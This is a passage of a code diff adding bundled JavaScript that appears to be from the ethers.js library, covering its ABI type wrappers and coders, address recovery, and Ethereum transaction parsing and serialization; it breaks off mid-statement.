+ static uint112(v) { return n(v, 112); } + /** + * Return a new ``uint120`` type for %%v%%. + */ + static uint120(v) { return n(v, 120); } + /** + * Return a new ``uint128`` type for %%v%%. + */ + static uint128(v) { return n(v, 128); } + /** + * Return a new ``uint136`` type for %%v%%. + */ + static uint136(v) { return n(v, 136); } + /** + * Return a new ``uint144`` type for %%v%%. + */ + static uint144(v) { return n(v, 144); } + /** + * Return a new ``uint152`` type for %%v%%. + */ + static uint152(v) { return n(v, 152); } + /** + * Return a new ``uint160`` type for %%v%%. + */ + static uint160(v) { return n(v, 160); } + /** + * Return a new ``uint168`` type for %%v%%. + */ + static uint168(v) { return n(v, 168); } + /** + * Return a new ``uint176`` type for %%v%%. + */ + static uint176(v) { return n(v, 176); } + /** + * Return a new ``uint184`` type for %%v%%. + */ + static uint184(v) { return n(v, 184); } + /** + * Return a new ``uint192`` type for %%v%%. + */ + static uint192(v) { return n(v, 192); } + /** + * Return a new ``uint200`` type for %%v%%. + */ + static uint200(v) { return n(v, 200); } + /** + * Return a new ``uint208`` type for %%v%%. + */ + static uint208(v) { return n(v, 208); } + /** + * Return a new ``uint216`` type for %%v%%. + */ + static uint216(v) { return n(v, 216); } + /** + * Return a new ``uint224`` type for %%v%%. + */ + static uint224(v) { return n(v, 224); } + /** + * Return a new ``uint232`` type for %%v%%. + */ + static uint232(v) { return n(v, 232); } + /** + * Return a new ``uint240`` type for %%v%%. + */ + static uint240(v) { return n(v, 240); } + /** + * Return a new ``uint248`` type for %%v%%. + */ + static uint248(v) { return n(v, 248); } + /** + * Return a new ``uint256`` type for %%v%%. + */ + static uint256(v) { return n(v, 256); } + /** + * Return a new ``uint256`` type for %%v%%. + */ + static uint(v) { return n(v, 256); } + /** + * Return a new ``int8`` type for %%v%%. + */ + static int8(v) { return n(v, -8); } + /** + * Return a new ``int16`` type for %%v%%. + */ + static int16(v) { return n(v, -16); } + /** + * Return a new ``int24`` type for %%v%%. + */ + static int24(v) { return n(v, -24); } + /** + * Return a new ``int32`` type for %%v%%. + */ + static int32(v) { return n(v, -32); } + /** + * Return a new ``int40`` type for %%v%%. + */ + static int40(v) { return n(v, -40); } + /** + * Return a new ``int48`` type for %%v%%. + */ + static int48(v) { return n(v, -48); } + /** + * Return a new ``int56`` type for %%v%%. + */ + static int56(v) { return n(v, -56); } + /** + * Return a new ``int64`` type for %%v%%. + */ + static int64(v) { return n(v, -64); } + /** + * Return a new ``int72`` type for %%v%%. + */ + static int72(v) { return n(v, -72); } + /** + * Return a new ``int80`` type for %%v%%. + */ + static int80(v) { return n(v, -80); } + /** + * Return a new ``int88`` type for %%v%%. + */ + static int88(v) { return n(v, -88); } + /** + * Return a new ``int96`` type for %%v%%. + */ + static int96(v) { return n(v, -96); } + /** + * Return a new ``int104`` type for %%v%%. + */ + static int104(v) { return n(v, -104); } + /** + * Return a new ``int112`` type for %%v%%. + */ + static int112(v) { return n(v, -112); } + /** + * Return a new ``int120`` type for %%v%%. + */ + static int120(v) { return n(v, -120); } + /** + * Return a new ``int128`` type for %%v%%. + */ + static int128(v) { return n(v, -128); } + /** + * Return a new ``int136`` type for %%v%%. + */ + static int136(v) { return n(v, -136); } + /** + * Return a new ``int144`` type for %%v%%. + */ + static int144(v) { return n(v, -144); } + /** + * Return a new ``int52`` type for %%v%%. + */ + static int152(v) { return n(v, -152); } + /** + * Return a new ``int160`` type for %%v%%. + */ + static int160(v) { return n(v, -160); } + /** + * Return a new ``int168`` type for %%v%%. + */ + static int168(v) { return n(v, -168); } + /** + * Return a new ``int176`` type for %%v%%. + */ + static int176(v) { return n(v, -176); } + /** + * Return a new ``int184`` type for %%v%%. + */ + static int184(v) { return n(v, -184); } + /** + * Return a new ``int92`` type for %%v%%. + */ + static int192(v) { return n(v, -192); } + /** + * Return a new ``int200`` type for %%v%%. + */ + static int200(v) { return n(v, -200); } + /** + * Return a new ``int208`` type for %%v%%. + */ + static int208(v) { return n(v, -208); } + /** + * Return a new ``int216`` type for %%v%%. + */ + static int216(v) { return n(v, -216); } + /** + * Return a new ``int224`` type for %%v%%. + */ + static int224(v) { return n(v, -224); } + /** + * Return a new ``int232`` type for %%v%%. + */ + static int232(v) { return n(v, -232); } + /** + * Return a new ``int240`` type for %%v%%. + */ + static int240(v) { return n(v, -240); } + /** + * Return a new ``int248`` type for %%v%%. + */ + static int248(v) { return n(v, -248); } + /** + * Return a new ``int256`` type for %%v%%. + */ + static int256(v) { return n(v, -256); } + /** + * Return a new ``int256`` type for %%v%%. + */ + static int(v) { return n(v, -256); } + /** + * Return a new ``bytes1`` type for %%v%%. + */ + static bytes1(v) { return b(v, 1); } + /** + * Return a new ``bytes2`` type for %%v%%. + */ + static bytes2(v) { return b(v, 2); } + /** + * Return a new ``bytes3`` type for %%v%%. + */ + static bytes3(v) { return b(v, 3); } + /** + * Return a new ``bytes4`` type for %%v%%. + */ + static bytes4(v) { return b(v, 4); } + /** + * Return a new ``bytes5`` type for %%v%%. + */ + static bytes5(v) { return b(v, 5); } + /** + * Return a new ``bytes6`` type for %%v%%. + */ + static bytes6(v) { return b(v, 6); } + /** + * Return a new ``bytes7`` type for %%v%%. + */ + static bytes7(v) { return b(v, 7); } + /** + * Return a new ``bytes8`` type for %%v%%. + */ + static bytes8(v) { return b(v, 8); } + /** + * Return a new ``bytes9`` type for %%v%%. + */ + static bytes9(v) { return b(v, 9); } + /** + * Return a new ``bytes10`` type for %%v%%. + */ + static bytes10(v) { return b(v, 10); } + /** + * Return a new ``bytes11`` type for %%v%%. + */ + static bytes11(v) { return b(v, 11); } + /** + * Return a new ``bytes12`` type for %%v%%. + */ + static bytes12(v) { return b(v, 12); } + /** + * Return a new ``bytes13`` type for %%v%%. + */ + static bytes13(v) { return b(v, 13); } + /** + * Return a new ``bytes14`` type for %%v%%. + */ + static bytes14(v) { return b(v, 14); } + /** + * Return a new ``bytes15`` type for %%v%%. + */ + static bytes15(v) { return b(v, 15); } + /** + * Return a new ``bytes16`` type for %%v%%. + */ + static bytes16(v) { return b(v, 16); } + /** + * Return a new ``bytes17`` type for %%v%%. + */ + static bytes17(v) { return b(v, 17); } + /** + * Return a new ``bytes18`` type for %%v%%. + */ + static bytes18(v) { return b(v, 18); } + /** + * Return a new ``bytes19`` type for %%v%%. + */ + static bytes19(v) { return b(v, 19); } + /** + * Return a new ``bytes20`` type for %%v%%. + */ + static bytes20(v) { return b(v, 20); } + /** + * Return a new ``bytes21`` type for %%v%%. + */ + static bytes21(v) { return b(v, 21); } + /** + * Return a new ``bytes22`` type for %%v%%. + */ + static bytes22(v) { return b(v, 22); } + /** + * Return a new ``bytes23`` type for %%v%%. + */ + static bytes23(v) { return b(v, 23); } + /** + * Return a new ``bytes24`` type for %%v%%. + */ + static bytes24(v) { return b(v, 24); } + /** + * Return a new ``bytes25`` type for %%v%%. + */ + static bytes25(v) { return b(v, 25); } + /** + * Return a new ``bytes26`` type for %%v%%. + */ + static bytes26(v) { return b(v, 26); } + /** + * Return a new ``bytes27`` type for %%v%%. + */ + static bytes27(v) { return b(v, 27); } + /** + * Return a new ``bytes28`` type for %%v%%. + */ + static bytes28(v) { return b(v, 28); } + /** + * Return a new ``bytes29`` type for %%v%%. + */ + static bytes29(v) { return b(v, 29); } + /** + * Return a new ``bytes30`` type for %%v%%. + */ + static bytes30(v) { return b(v, 30); } + /** + * Return a new ``bytes31`` type for %%v%%. + */ + static bytes31(v) { return b(v, 31); } + /** + * Return a new ``bytes32`` type for %%v%%. + */ + static bytes32(v) { return b(v, 32); } + /** + * Return a new ``address`` type for %%v%%. + */ + static address(v) { return new Typed(_gaurd, "address", v); } + /** + * Return a new ``bool`` type for %%v%%. + */ + static bool(v) { return new Typed(_gaurd, "bool", !!v); } + /** + * Return a new ``bytes`` type for %%v%%. + */ + static bytes(v) { return new Typed(_gaurd, "bytes", v); } + /** + * Return a new ``string`` type for %%v%%. + */ + static string(v) { return new Typed(_gaurd, "string", v); } + /** + * Return a new ``array`` type for %%v%%, allowing %%dynamic%% length. + */ + static array(v, dynamic) { + throw new Error("not implemented yet"); + } + /** + * Return a new ``tuple`` type for %%v%%, with the optional %%name%%. + */ + static tuple(v, name) { + throw new Error("not implemented yet"); + } + /** + * Return a new ``uint8`` type for %%v%%. + */ + static overrides(v) { + return new Typed(_gaurd, "overrides", Object.assign({}, v)); + } + /** + * Returns true only if %%value%% is a [[Typed]] instance. + */ + static isTyped(value) { + return (value + && typeof (value) === "object" + && "_typedSymbol" in value + && value._typedSymbol === _typedSymbol); + } + /** + * If the value is a [[Typed]] instance, validates the underlying value + * and returns it, otherwise returns value directly. + * + * This is useful for functions that with to accept either a [[Typed]] + * object or values. + */ + static dereference(value, type) { + if (Typed.isTyped(value)) { + if (value.type !== type) { + throw new Error(`invalid type: expecetd ${type}, got ${value.type}`); + } + return value.value; + } + return value; + } +} + +/** + * @_ignore + */ +class AddressCoder extends Coder { + constructor(localName) { + super("address", "address", localName, false); + } + defaultValue() { + return "0x0000000000000000000000000000000000000000"; + } + encode(writer, _value) { + let value = Typed.dereference(_value, "string"); + try { + value = getAddress(value); + } + catch (error) { + return this._throwError(error.message, _value); + } + return writer.writeValue(value); + } + decode(reader) { + return getAddress(toBeHex(reader.readValue(), 20)); + } +} + +/** + * Clones the functionality of an existing Coder, but without a localName + * + * @_ignore + */ +class AnonymousCoder extends Coder { + coder; + constructor(coder) { + super(coder.name, coder.type, "_", coder.dynamic); + this.coder = coder; + } + defaultValue() { + return this.coder.defaultValue(); + } + encode(writer, value) { + return this.coder.encode(writer, value); + } + decode(reader) { + return this.coder.decode(reader); + } +} + +/** + * @_ignore + */ +function pack(writer, coders, values) { + let arrayValues = []; + if (Array.isArray(values)) { + arrayValues = values; + } + else if (values && typeof (values) === "object") { + let unique = {}; + arrayValues = coders.map((coder) => { + const name = coder.localName; + assert(name, "cannot encode object for signature with missing names", "INVALID_ARGUMENT", { argument: "values", info: { coder }, value: values }); + assert(!unique[name], "cannot encode object for signature with duplicate names", "INVALID_ARGUMENT", { argument: "values", info: { coder }, value: values }); + unique[name] = true; + return values[name]; + }); + } + else { + assertArgument(false, "invalid tuple value", "tuple", values); + } + assertArgument(coders.length === arrayValues.length, "types/value length mismatch", "tuple", values); + let staticWriter = new Writer(); + let dynamicWriter = new Writer(); + let updateFuncs = []; + coders.forEach((coder, index) => { + let value = arrayValues[index]; + if (coder.dynamic) { + // Get current dynamic offset (for the future pointer) + let dynamicOffset = dynamicWriter.length; + // Encode the dynamic value into the dynamicWriter + coder.encode(dynamicWriter, value); + // Prepare to populate the correct offset once we are done + let updateFunc = staticWriter.writeUpdatableValue(); + updateFuncs.push((baseOffset) => { + updateFunc(baseOffset + dynamicOffset); + }); + } + else { + coder.encode(staticWriter, value); + } + }); + // Backfill all the dynamic offsets, now that we know the static length + updateFuncs.forEach((func) => { func(staticWriter.length); }); + let length = writer.appendWriter(staticWriter); + length += writer.appendWriter(dynamicWriter); + return length; +} +/** + * @_ignore + */ +function unpack(reader, coders) { + let values = []; + let keys = []; + // A reader anchored to this base + let baseReader = reader.subReader(0); + coders.forEach((coder) => { + let value = null; + if (coder.dynamic) { + let offset = reader.readIndex(); + let offsetReader = baseReader.subReader(offset); + try { + value = coder.decode(offsetReader); + } + catch (error) { + // Cannot recover from this + if (isError(error, "BUFFER_OVERRUN")) { + throw error; + } + value = error; + value.baseType = coder.name; + value.name = coder.localName; + value.type = coder.type; + } + } + else { + try { + value = coder.decode(reader); + } + catch (error) { + // Cannot recover from this + if (isError(error, "BUFFER_OVERRUN")) { + throw error; + } + value = error; + value.baseType = coder.name; + value.name = coder.localName; + value.type = coder.type; + } + } + if (value == undefined) { + throw new Error("investigate"); + } + values.push(value); + keys.push(coder.localName || null); + }); + return Result.fromItems(values, keys); +} +/** + * @_ignore + */ +class ArrayCoder extends Coder { + coder; + length; + constructor(coder, length, localName) { + const type = (coder.type + "[" + (length >= 0 ? length : "") + "]"); + const dynamic = (length === -1 || coder.dynamic); + super("array", type, localName, dynamic); + defineProperties(this, { coder, length }); + } + defaultValue() { + // Verifies the child coder is valid (even if the array is dynamic or 0-length) + const defaultChild = this.coder.defaultValue(); + const result = []; + for (let i = 0; i < this.length; i++) { + result.push(defaultChild); + } + return result; + } + encode(writer, _value) { + const value = Typed.dereference(_value, "array"); + if (!Array.isArray(value)) { + this._throwError("expected array value", value); + } + let count = this.length; + if (count === -1) { + count = value.length; + writer.writeValue(value.length); + } + assertArgumentCount(value.length, count, "coder array" + (this.localName ? (" " + this.localName) : "")); + let coders = []; + for (let i = 0; i < value.length; i++) { + coders.push(this.coder); + } + return pack(writer, coders, value); + } + decode(reader) { + let count = this.length; + if (count === -1) { + count = reader.readIndex(); + // Check that there is *roughly* enough data to ensure + // stray random data is not being read as a length. Each + // slot requires at least 32 bytes for their value (or 32 + // bytes as a link to the data). This could use a much + // tighter bound, but we are erroring on the side of safety. + assert(count * WordSize <= reader.dataLength, "insufficient data length", "BUFFER_OVERRUN", { buffer: reader.bytes, offset: count * WordSize, length: reader.dataLength }); + } + let coders = []; + for (let i = 0; i < count; i++) { + coders.push(new AnonymousCoder(this.coder)); + } + return unpack(reader, coders); + } +} + +/** + * @_ignore + */ +class BooleanCoder extends Coder { + constructor(localName) { + super("bool", "bool", localName, false); + } + defaultValue() { + return false; + } + encode(writer, _value) { + const value = Typed.dereference(_value, "bool"); + return writer.writeValue(value ? 1 : 0); + } + decode(reader) { + return !!reader.readValue(); + } +} + +/** + * @_ignore + */ +class DynamicBytesCoder extends Coder { + constructor(type, localName) { + super(type, type, localName, true); + } + defaultValue() { + return "0x"; + } + encode(writer, value) { + value = getBytesCopy(value); + let length = writer.writeValue(value.length); + length += writer.writeBytes(value); + return length; + } + decode(reader) { + return reader.readBytes(reader.readIndex(), true); + } +} +/** + * @_ignore + */ +class BytesCoder extends DynamicBytesCoder { + constructor(localName) { + super("bytes", localName); + } + decode(reader) { + return hexlify(super.decode(reader)); + } +} + +/** + * @_ignore + */ +class FixedBytesCoder extends Coder { + size; + constructor(size, localName) { + let name = "bytes" + String(size); + super(name, name, localName, false); + defineProperties(this, { size }, { size: "number" }); + } + defaultValue() { + return ("0x0000000000000000000000000000000000000000000000000000000000000000").substring(0, 2 + this.size * 2); + } + encode(writer, _value) { + let data = getBytesCopy(Typed.dereference(_value, this.type)); + if (data.length !== this.size) { + this._throwError("incorrect data length", _value); + } + return writer.writeBytes(data); + } + decode(reader) { + return hexlify(reader.readBytes(this.size)); + } +} + +const Empty = new Uint8Array([]); +/** + * @_ignore + */ +class NullCoder extends Coder { + constructor(localName) { + super("null", "", localName, false); + } + defaultValue() { + return null; + } + encode(writer, value) { + if (value != null) { + this._throwError("not null", value); + } + return writer.writeBytes(Empty); + } + decode(reader) { + reader.readBytes(0); + return null; + } +} + +const BN_0$5 = BigInt(0); +const BN_1$2 = BigInt(1); +const BN_MAX_UINT256$1 = BigInt("0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"); +/** + * @_ignore + */ +class NumberCoder extends Coder { + size; + signed; + constructor(size, signed, localName) { + const name = ((signed ? "int" : "uint") + (size * 8)); + super(name, name, localName, false); + defineProperties(this, { size, signed }, { size: "number", signed: "boolean" }); + } + defaultValue() { + return 0; + } + encode(writer, _value) { + let value = getBigInt(Typed.dereference(_value, this.type)); + // Check bounds are safe for encoding + let maxUintValue = mask(BN_MAX_UINT256$1, WordSize * 8); + if (this.signed) { + let bounds = mask(maxUintValue, (this.size * 8) - 1); + if (value > bounds || value < -(bounds + BN_1$2)) { + this._throwError("value out-of-bounds", _value); + } + value = toTwos(value, 8 * WordSize); + } + else if (value < BN_0$5 || value > mask(maxUintValue, this.size * 8)) { + this._throwError("value out-of-bounds", _value); + } + return writer.writeValue(value); + } + decode(reader) { + let value = mask(reader.readValue(), this.size * 8); + if (this.signed) { + value = fromTwos(value, this.size * 8); + } + return value; + } +} + +/** + * @_ignore + */ +class StringCoder extends DynamicBytesCoder { + constructor(localName) { + super("string", localName); + } + defaultValue() { + return ""; + } + encode(writer, _value) { + return super.encode(writer, toUtf8Bytes(Typed.dereference(_value, "string"))); + } + decode(reader) { + return toUtf8String(super.decode(reader)); + } +} + +/** + * @_ignore + */ +class TupleCoder extends Coder { + coders; + constructor(coders, localName) { + let dynamic = false; + const types = []; + coders.forEach((coder) => { + if (coder.dynamic) { + dynamic = true; + } + types.push(coder.type); + }); + const type = ("tuple(" + types.join(",") + ")"); + super("tuple", type, localName, dynamic); + defineProperties(this, { coders: Object.freeze(coders.slice()) }); + } + defaultValue() { + const values = []; + this.coders.forEach((coder) => { + values.push(coder.defaultValue()); + }); + // We only output named properties for uniquely named coders + const uniqueNames = this.coders.reduce((accum, coder) => { + const name = coder.localName; + if (name) { + if (!accum[name]) { + accum[name] = 0; + } + accum[name]++; + } + return accum; + }, {}); + // Add named values + this.coders.forEach((coder, index) => { + let name = coder.localName; + if (!name || uniqueNames[name] !== 1) { + return; + } + if (name === "length") { + name = "_length"; + } + if (values[name] != null) { + return; + } + values[name] = values[index]; + }); + return Object.freeze(values); + } + encode(writer, _value) { + const value = Typed.dereference(_value, "tuple"); + return pack(writer, this.coders, value); + } + decode(reader) { + return unpack(reader, this.coders); + } +} + +function accessSetify(addr, storageKeys) { + return { + address: getAddress(addr), + storageKeys: storageKeys.map((storageKey, index) => { + assertArgument(isHexString(storageKey, 32), "invalid slot", `storageKeys[${index}]`, storageKey); + return storageKey.toLowerCase(); + }) + }; +} +/** + * Returns a [[AccessList]] from any ethers-supported access-list structure. + */ +function accessListify(value) { + if (Array.isArray(value)) { + return value.map((set, index) => { + if (Array.isArray(set)) { + assertArgument(set.length === 2, "invalid slot set", `value[${index}]`, set); + return accessSetify(set[0], set[1]); + } + assertArgument(set != null && typeof (set) === "object", "invalid address-slot set", "value", value); + return accessSetify(set.address, set.storageKeys); + }); + } + assertArgument(value != null && typeof (value) === "object", "invalid access list", "value", value); + const result = Object.keys(value).map((addr) => { + const storageKeys = value[addr].reduce((accum, storageKey) => { + accum[storageKey] = true; + return accum; + }, {}); + return accessSetify(addr, Object.keys(storageKeys).sort()); + }); + result.sort((a, b) => (a.address.localeCompare(b.address))); + return result; +} + +function authorizationify(auth) { + return { + address: getAddress(auth.address), + nonce: getBigInt((auth.nonce != null) ? auth.nonce : 0), + chainId: getBigInt((auth.chainId != null) ? auth.chainId : 0), + signature: Signature.from(auth.signature) + }; +} + +/** + * Returns the address for the %%key%%. + * + * The key may be any standard form of public key or a private key. + */ +function computeAddress(key) { + let pubkey; + if (typeof (key) === "string") { + pubkey = SigningKey.computePublicKey(key, false); + } + else { + pubkey = key.publicKey; + } + return getAddress(keccak256("0x" + pubkey.substring(4)).substring(26)); +} +/** + * Returns the recovered address for the private key that was + * used to sign %%digest%% that resulted in %%signature%%. + */ +function recoverAddress(digest, signature) { + return computeAddress(SigningKey.recoverPublicKey(digest, signature)); +} + +const BN_0$4 = BigInt(0); +const BN_2$2 = BigInt(2); +const BN_27 = BigInt(27); +const BN_28 = BigInt(28); +const BN_35 = BigInt(35); +const BN_MAX_UINT = BigInt("0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"); +const BLOB_SIZE = 4096 * 32; +function getKzgLibrary(kzg) { + const blobToKzgCommitment = (blob) => { + if ("computeBlobProof" in kzg) { + // micro-ecc-signer; check for computeBlobProof since this API + // expects a string while the kzg-wasm below expects a Unit8Array + if ("blobToKzgCommitment" in kzg && typeof (kzg.blobToKzgCommitment) === "function") { + return getBytes(kzg.blobToKzgCommitment(hexlify(blob))); + } + } + else if ("blobToKzgCommitment" in kzg && typeof (kzg.blobToKzgCommitment) === "function") { + // kzg-wasm <0.5.0; blobToKzgCommitment(Uint8Array) => Uint8Array + return getBytes(kzg.blobToKzgCommitment(blob)); + } + // kzg-wasm >= 0.5.0; blobToKZGCommitment(string) => string + if ("blobToKZGCommitment" in kzg && typeof (kzg.blobToKZGCommitment) === "function") { + return getBytes(kzg.blobToKZGCommitment(hexlify(blob))); + } + assertArgument(false, "unsupported KZG library", "kzg", kzg); + }; + const computeBlobKzgProof = (blob, commitment) => { + // micro-ecc-signer + if ("computeBlobProof" in kzg && typeof (kzg.computeBlobProof) === "function") { + return getBytes(kzg.computeBlobProof(hexlify(blob), hexlify(commitment))); + } + // kzg-wasm <0.5.0; computeBlobKzgProof(Uint8Array, Uint8Array) => Uint8Array + if ("computeBlobKzgProof" in kzg && typeof (kzg.computeBlobKzgProof) === "function") { + return kzg.computeBlobKzgProof(blob, commitment); + } + // kzg-wasm >= 0.5.0; computeBlobKZGProof(string, string) => string + if ("computeBlobKZGProof" in kzg && typeof (kzg.computeBlobKZGProof) === "function") { + return getBytes(kzg.computeBlobKZGProof(hexlify(blob), hexlify(commitment))); + } + assertArgument(false, "unsupported KZG library", "kzg", kzg); + }; + return { blobToKzgCommitment, computeBlobKzgProof }; +} +function getVersionedHash(version, hash) { + let versioned = version.toString(16); + while (versioned.length < 2) { + versioned = "0" + versioned; + } + versioned += sha256(hash).substring(4); + return "0x" + versioned; +} +function handleAddress(value) { + if (value === "0x") { + return null; + } + return getAddress(value); +} +function handleAccessList(value, param) { + try { + return accessListify(value); + } + catch (error) { + assertArgument(false, error.message, param, value); + } +} +function handleAuthorizationList(value, param) { + try { + if (!Array.isArray(value)) { + throw new Error("authorizationList: invalid array"); + } + const result = []; + for (let i = 0; i < value.length; i++) { + const auth = value[i]; + if (!Array.isArray(auth)) { + throw new Error(`authorization[${i}]: invalid array`); + } + if (auth.length !== 6) { + throw new Error(`authorization[${i}]: wrong length`); + } + if (!auth[1]) { + throw new Error(`authorization[${i}]: null address`); + } + result.push({ + address: handleAddress(auth[1]), + nonce: handleUint(auth[2], "nonce"), + chainId: handleUint(auth[0], "chainId"), + signature: Signature.from({ + yParity: handleNumber(auth[3], "yParity"), + r: zeroPadValue(auth[4], 32), + s: zeroPadValue(auth[5], 32) + }) + }); + } + return result; + } + catch (error) { + assertArgument(false, error.message, param, value); + } +} +function handleNumber(_value, param) { + if (_value === "0x") { + return 0; + } + return getNumber(_value, param); +} +function handleUint(_value, param) { + if (_value === "0x") { + return BN_0$4; + } + const value = getBigInt(_value, param); + assertArgument(value <= BN_MAX_UINT, "value exceeds uint size", param, value); + return value; +} +function formatNumber(_value, name) { + const value = getBigInt(_value, "value"); + const result = toBeArray(value); + assertArgument(result.length <= 32, `value too large`, `tx.${name}`, value); + return result; +} +function formatAccessList(value) { + return accessListify(value).map((set) => [set.address, set.storageKeys]); +} +function formatAuthorizationList(value) { + return value.map((a) => { + return [ + formatNumber(a.chainId, "chainId"), + a.address, + formatNumber(a.nonce, "nonce"), + formatNumber(a.signature.yParity, "yParity"), + toBeArray(a.signature.r), + toBeArray(a.signature.s) + ]; + }); +} +function formatHashes(value, param) { + assertArgument(Array.isArray(value), `invalid ${param}`, "value", value); + for (let i = 0; i < value.length; i++) { + assertArgument(isHexString(value[i], 32), "invalid ${ param } hash", `value[${i}]`, value[i]); + } + return value; +} +function _parseLegacy(data) { + const fields = decodeRlp(data); + assertArgument(Array.isArray(fields) && (fields.length === 9 || fields.length === 6), "invalid field count for legacy transaction", "data", data); + const tx = { + type: 0, + nonce: handleNumber(fields[0], "nonce"), + gasPrice: handleUint(fields[1], "gasPrice"), + gasLimit: handleUint(fields[2], "gasLimit"), + to: handleAddress(fields[3]), + value: handleUint(fields[4], "value"), + data: hexlify(fields[5]), + chainId: BN_0$4 + }; + // Legacy unsigned transaction + if (fields.length === 6) { + return tx; + } + const v = handleUint(fields[6], "v"); + const r = handleUint(fields[7], "r"); + const s = handleUint(fields[8], "s"); + if (r === BN_0$4 && s === BN_0$4) { + // EIP-155 unsigned transaction + tx.chainId = v; + } + else { + // Compute the EIP-155 chain ID (or 0 for legacy) + let chainId = (v - BN_35) / BN_2$2; + if (chainId < BN_0$4) { + chainId = BN_0$4; + } + tx.chainId = chainId; + // Signed Legacy Transaction + assertArgument(chainId !== BN_0$4 || (v === BN_27 || v === BN_28), "non-canonical legacy v", "v", fields[6]); + tx.signature = Signature.from({ + r: zeroPadValue(fields[7], 32), + s: zeroPadValue(fields[8], 32), + v + }); + //tx.hash = keccak256(data); + } + return tx; +} +function _serializeLegacy(tx, sig) { + const fields = [ + formatNumber(tx.nonce, "nonce"), + formatNumber(tx.gasPrice || 0, "gasPrice"), + formatNumber(tx.gasLimit, "gasLimit"), + (tx.to || "0x"), + formatNumber(tx.value, "value"), + tx.data, + ]; + let chainId = BN_0$4; + if (tx.chainId != BN_0$4) { + // A chainId was provided; if non-zero we'll use EIP-155 + chainId = getBigInt(tx.chainId, "tx.chainId"); + // We have a chainId in the tx and an EIP-155 v in the signature, + // make sure they agree with each other + assertArgument(!sig || sig.networkV == null || sig.legacyChainId === chainId, "tx.chainId/sig.v mismatch", "sig", sig); + } + else if (tx.signature) { + // No explicit chainId, but EIP-155 have a derived implicit chainId + const legacy = tx.signature.legacyChainId; + if (legacy != null) { + chainId = legacy; + } + } + // Requesting an unsigned transaction + if (!sig) { + // We have an EIP-155 transaction (chainId was specified and non-zero) + if (chainId !== BN_0$4) { + fields.push(toBeArray(chainId)); + fields.push("0x"); + fields.push("0x"); + } + return encodeRlp(fields); + } + // @TODO: We should probably check that tx.signature, chainId, and sig + // match but that logic could break existing code, so schedule + // this for the next major bump. + // Compute the EIP-155 v + let v = BigInt(27 + sig.yParity); + if (chainId !== BN_0$4) { + v = Signature.getChainIdV(chainId, sig.v); + } + else if (BigInt(sig.v) !== v) { + assertArgument(false, "tx.chainId/sig.v mismatch", "sig", sig); + } + // Add the signature + fields.push(toBeArray(v)); + fields.push(toBeArray(sig.r)); + fields.push(toBeArray(sig.s)); + return encodeRlp(fields); +} +function _parseEipSignature(tx, fields) { + let yParity; + try { + yParity = handleNumber(fields[0], "yParity"); + if (yParity !== 0 && yParity !== 1) { + throw new Error("bad yParity"); + } + } + catch (error) { + assertArgument(false, "invalid yParity", "yParity", fields[0]); + } + const r = zeroPadValue(fields[1], 32); + const s = zeroPadValue(fields[2], 32); + const signature = Signature.from({ r, s, yParity }); + tx.signature = signature; +} +function _parseEip1559(data) { + const fields = decodeRlp(getBytes(data).slice(1)); + assertArgument(Array.isArray(fields) && (fields.length === 9 || fields.length === 12), "invalid field count for transaction type: 2", "data", hexlify(data)); + const tx = { + type: 2, + chainId: handleUint(fields[0], "chainId"), + nonce: handleNumber(fields[1], "nonce"), + maxPriorityFeePerGas: handleUint(fields[2], "maxPriorityFeePerGas"), + maxFeePerGas: handleUint(fields[3], "maxFeePerGas"), + gasPrice: null, + gasLimit: handleUint(fields[4], "gasLimit"), + to: handleAddress(fields[5]), + value: handleUint(fields[6], "value"), + data: hexlify(fields[7]), + accessList: handleAccessList(fields[8], "accessList"), + }; + // Unsigned EIP-1559 Transaction + if (fields.length === 9) { + return tx; + } + //tx.hash = keccak256(data); + _parseEipSignature(tx, fields.slice(9)); + return tx; +} +function _serializeEip1559(tx, sig) { + const fields = [ + formatNumber(tx.chainId, "chainId"), + formatNumber(tx.nonce, "nonce"), + formatNumber(tx.maxPriorityFeePerGas || 0, "maxPriorityFeePerGas"), + formatNumber(tx.maxFeePerGas || 0, "maxFeePerGas"), + formatNumber(tx.gasLimit, "gasLimit"), + (tx.to || "0x"), + formatNumber(tx.value, "value"), + tx.data, + formatAccessList(tx.accessList || []) + ]; + if (sig) { + fields.push(formatNumber(sig.yParity, "yParity")); + fields.push(toBeArray(sig.r)); + fields.push(toBeArray(sig.s)); + } + return concat(["0x02", encodeRlp(fields)]); +} +function _parseEip2930(data) { + const fields = decodeRlp(getBytes(data).slice(1)); + assertArgument(Array.isArray(fields) && (fields.length === 8 || fields.length === 11), "invalid field count for transaction type: 1", "data", hexlify(data)); + const tx = { + type: 1, + chainId: handleUint(fields[0], "chainId"), + nonce: handleNumber(fields[1], "nonce"), + gasPrice: handleUint(fields[2], "gasPrice"), + gasLimit: handleUint(fields[3], "gasLimit"), + to: handleAddress(fields[4]), + value: handleUint(fields[5], "value"), + data: hexlify(fields[6]), + accessList: handleAccessList(fields[7], "accessList") + }; + // Unsigned EIP-2930 Transaction + if (fields.length === 8) { + return tx; + } + //tx.hash = keccak256(data); + _parseEipSignature(tx, fields.slice(8)); + return tx; +} +function _serializeEip2930(tx, sig) { + const fields = [ + formatNumber(tx.chainId, "chainId"), + formatNumber(tx.nonce, "nonce"), + formatNumber(tx.gasPrice || 0, "gasPrice"), + formatNumber(tx.gasLimit, "gasLimit"), + (tx.to || "0x"), + formatNumber(tx.value, "value"), + tx.data, + formatAccessList(tx.accessList || []) + ]; + if (sig) { + fields.push(formatNumber(sig.yParity, "recoveryParam")); + fields.push(toBeArray(sig.r)); + fields.push(toBeArray(sig.s)); + } + return concat(["0x01", encodeRlp(fields)]); +} +function _parseEip4844(data) { + let fields = decodeRlp(getBytes(data).slice(1)); + let typeName = "3"; + let blobs = null; + // Parse the network format + if (fields.length === 4 && Array.isArray(fields[0])) { + typeName = "3 (network format)"; + const fBlobs = fields[1], fCommits = fields[2], fProofs = fields[3]; + assertArgument(Array.isArray(fBlobs), "invalid network format: blobs not an array", "fields[1]", fBlobs); + assertArgument(Array.isArray(fCommits), "invalid network format: commitments not an array", "fields[2]", fCommits); + assertArgument(Array.isArray(fProofs), "invalid network format: proofs not an array", "fields[3]", fProofs); + assertArgument(fBlobs.length === fCommits.length, "invalid network format: blobs/commitments length mismatch", "fields", fields); + assertArgument(fBlobs.length === fProofs.length, "invalid network format: blobs/proofs length mismatch", "fields", fields); + blobs = []; + for (let i = 0; i < fields[1].length; i++) { + blobs.push({ + data: fBlobs[i], + commitment: fCommits[i], + proof: fProofs[i], + }); + } + fields = fields[0]; + } + assertArgument(Array.isArray(fields) && 